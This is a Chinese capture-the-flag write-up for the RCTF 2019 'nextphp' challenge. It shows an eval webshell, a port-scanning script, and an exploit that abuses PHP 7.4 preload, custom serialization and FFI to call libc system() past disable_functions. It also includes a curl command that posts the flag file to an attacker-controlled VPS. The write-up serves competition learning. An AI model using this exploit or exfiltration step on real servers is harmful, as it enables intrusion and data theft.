RCTF2019Web题解之nextphp

栏目: PHP · 发布时间: 5年前

内容简介:这题主要考察PHP-7.4中的两个特性(PHP is the best language!题目地址:

这题主要考察PHP-7.4中的两个特性( FFISerializable__serialize__unserialize ),通过 FFI 绕过 disable_functions 限制。

nextphp

PHP is the best language!

题目地址: http://nextphp.2019.rctf.rois.io

题目docker: https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp

index.php

<?php
if (isset($_GET['a'])) {
        eval($_GET['a']);
} else {
        show_source(__FILE__);
}

preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

通过前面给的 shell(index.php) ,可以通过 phpinfo 发现存在如下关键信息:

PHP Version 7.4.0-dev

内网IP:172.20.0.1

开启了FFI

opcache.preload:/var/www/html/preload.php

open_basedir:/var/www/html

disable_classes:ReflectionClass

disable_functions

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

刚开始,想通过这个 shell 进行SSRF扫描内网,看看内网是否还有其他主机运行web,因为有可能内网中其他机器上的disable_functions限制没有这么严格。

 // 端口扫描:
$hosts='127.0.0.1';
$timeout=0.5;
for($i=0;$i<65535;$i++){
    $c=@fsockopen($hosts,$i, $en,$es, $timeout);
    if(is_resource($c)){
        echo $hosts.':'.$i.' => open\n<br>';
        fclose($c);
    }
    ob_flush();
    flush();
}
# 题目内网IP:172.20.0.1

172.20.0.2:80 => open\n<br>
172.20.0.2:46036 => open\n<br>
172.20.0.2:53310 => open\n<br>
172.20.0.2:65616 => open\n<br>

发现 172.20.0.2 上有和题目一模一样的 web 环境,但是对比了他们两个的 phpinfo 信息,发现是一样的,其他端口没什么发现,遂放弃这个思路,转向 opcache.preload

opcache.preloadPHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读: https://wiki.php.net/rfc/preload ,在这篇文档尾巴可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。我们可以参考文档: https://wiki.php.net/rfc/ffi 中的例子:

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");

先通过如下命令编译 PHP-7.4-dev

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install

然后测试,发现如果不设置 FFI::cdef 的第二个参数,也可以调用 C 函数。(具体原因还没细究,猜测在调用 system 函数时,先从系统默认的共享库中搜寻函数是否定义,如果定义则直接调用函数。)

RCTF2019Web题解之nextphp

这样的话,我们就可以利用 preload.php 中类 Arun 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。通过如下脚本生成 exp

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        echo "__construct<br>";
    }
}

$a = new A();
echo base64_encode(serialize($a)); // 即payload

这里的EXP代码中删除了原有的 __serialize__unserialize 两个函数,这是因为在反序列化时会触发 __unserialize 函数,这一特性是在 PHP 7.4中新加入的,具体可参考: https://wiki.php.net/rfc/custom_object_serialization

然后访问 http://题目/?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令); ,这里的命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS 就行了。

RCTF2019Web题解之nextphp

后来又想为什么不直接通过那个 shell 利用 FFI (直接不用那个反序列化),结果试了发现不行。再次查看文档,发现如下描述:

FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

原来默认 ffi.enable=preload 且仅在命令行模式和 preload 文件中可用,在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

赛后看了一下 FFI 的源码,发现当不设置 FFI::cdef 的第二个参数时,源码中的 libNULL ,并且 handle 被设为 RTLD_DEFAULT 。这个 RTLD_DEFAULT 定义在 dlfcn.h:47 文件中。

RCTF2019Web题解之nextphp

之后会调用 DL_FETCH_SYMBOL 函数,而这个函数就是 dlsym 函数,其定义在 zend_portability.h:157 文件中。

RCTF2019Web题解之nextphp

从文档 DLSYM函数手册 中,可以看到如下描述:

RTLD_DEFAULT

Find the first occurrence of the desired symbol using the default shared object search order. The search will include global symbols in the executable and its dependencies, as well as symbols in shared objects that were dynamically loaded with the RTLD_GLOBAL flag.

dlsym 第一个参数为 RTLD_DEFAULT 时,程序会按照默认共享库的顺序,从中搜索 system 函数第一次出现的地方并使用。搜索范围还包括了可执行程序极其依赖中的函数表(如果设置了 RTLD_GLOBAL 还会搜索动态加载库中的函数表),所以应该是这些搜索范围中存在可调用的 system 函数。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数据挖掘技术

数据挖掘技术

[美]MichaelJ.A.B / 别荣芳、尹静、邓六爱 / 机械工业 / 2006-7 / 49.00元

本书是数据挖掘领域的经典著作,数年来畅销不衰。全书从技术和应用两个方面,全面、系统地介绍了数据挖掘的商业环境、数据挖掘技术及其在商业环境中的应用。自从1997年本书第1版出版以来,数据挖掘界发生了巨大的变化,其中的大部分核心算法仍然保持不变,但是算法嵌入的软件、应用算法的数据库以及用于解决的商业问题都有所演进。第2版展示如何利用基本的数据挖掘方法和技术,解决常见的商业问题。 本书涵盖核心的数......一起来看看 《数据挖掘技术》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码